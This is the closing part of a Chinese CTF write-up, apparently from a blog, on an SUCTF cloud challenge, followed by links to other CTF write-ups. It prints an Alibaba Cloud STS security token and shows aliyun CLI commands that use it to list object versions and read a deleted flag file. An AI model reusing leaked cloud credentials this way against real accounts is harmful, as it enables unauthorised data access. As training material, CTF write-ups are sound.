"SecurityToken" : "CAIS1AJ1q6Ft5B2yfSjIr5fTEc/b3rEWgfOIU2vIlzIYQuZiraqSgzz2IHhMdHRqBe0ctvQ+lG5W6/4YloltTtpfTEmBc5I179Fd6VqqZNTZqcy74qwHmYS1RXadFEZYDnNszr+rIunGc9KBNnrm9EYqs5aYGBymW1u6S+7r7bdsctUQWCShcDNCH604DwB+qcgcRxCzXLTXRXyMuGfLC1dysQdRkH527b/FoveR8R3Dllb3uIR3zsbTWsH6MZc1Z8wkDovsjbArKvL7vXQOu0QQxsBfl7dZ/DrLhNaZDmRK7g+OW+iuqYU3fFIjOvVgQ/4V/KaiyKUioIzUjJ+y0RFKIfHnm/ES9DUVqiGtOpRKVr5RHd6TUxxGgmVUsD3M+Eqi7Sau0K+e5xjFvkUxaHpiA3iRUcyMsxuRQWyIEOP+y9oVsqEYoRiWu7TDSTeBK6PPRvNGUvdUGoABfmqFersd5q3sAhpi7UHmtkhuEn8jODpY4bxubpPLrQwZu7ToyzoWY9vERJzKarge1l3oM9jQP+q30t86v6WxFy2RHh97iDaIEUh3gpL9Mxu9fi4aRYzPZ2qhdZNCdWlE3CrGCuPAsoU0g3JUohJJnycnBj9o54Tdk4cTkjugEyUgAA==",
"LastUpdated" : "2025-01-12T08:05:03Z",
"Code" : "Success"
}

存入阿里云cli STS登录,看到bucket,ls后为空,想到版本控制加入–all-versions

1
| 1 | suctf-flag-bucket | N/A | 0 | 0.00 B | cn-hangzhou | https://suctf-flag-bucket.oss-cn-hangzhou.aliyuncs.com |
1
2
3
4
5
#aliyun oss ls oss://suctf-flag-bucket  --all-versions
LastModifiedTime Size(B) StorageClass ETAG VERSIONID IS-LATEST DELETE-MARKER ObjectName
2025-01-11 21:30:39 +0800 CST 0 CAEQmwIYgoDA2sKe1qIZIiA2NmViNDQ2NWVjNzk0MzQ1YjdiNjdkYTE5ZjYwNTQyMg-- true true oss://suctf-flag-bucket/oss-flagx
2025-01-11 21:30:03 +0800 CST 76 Standard 7246CE228374D17256B45DDF88E891A0 CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- false false oss://suctf-flag-bucket/oss-flag
Object Number is: 2

看到版本,读取flag

1
2
3
#aliyun oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA--

SUCTF{kubernetes_is_not_only_the_cloud-a09f950a-eb89-46f4-b381-fec7c9a0023a}
相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛全wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛全wp
  • PolarCTF2024春季个人挑战赛全wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛全wp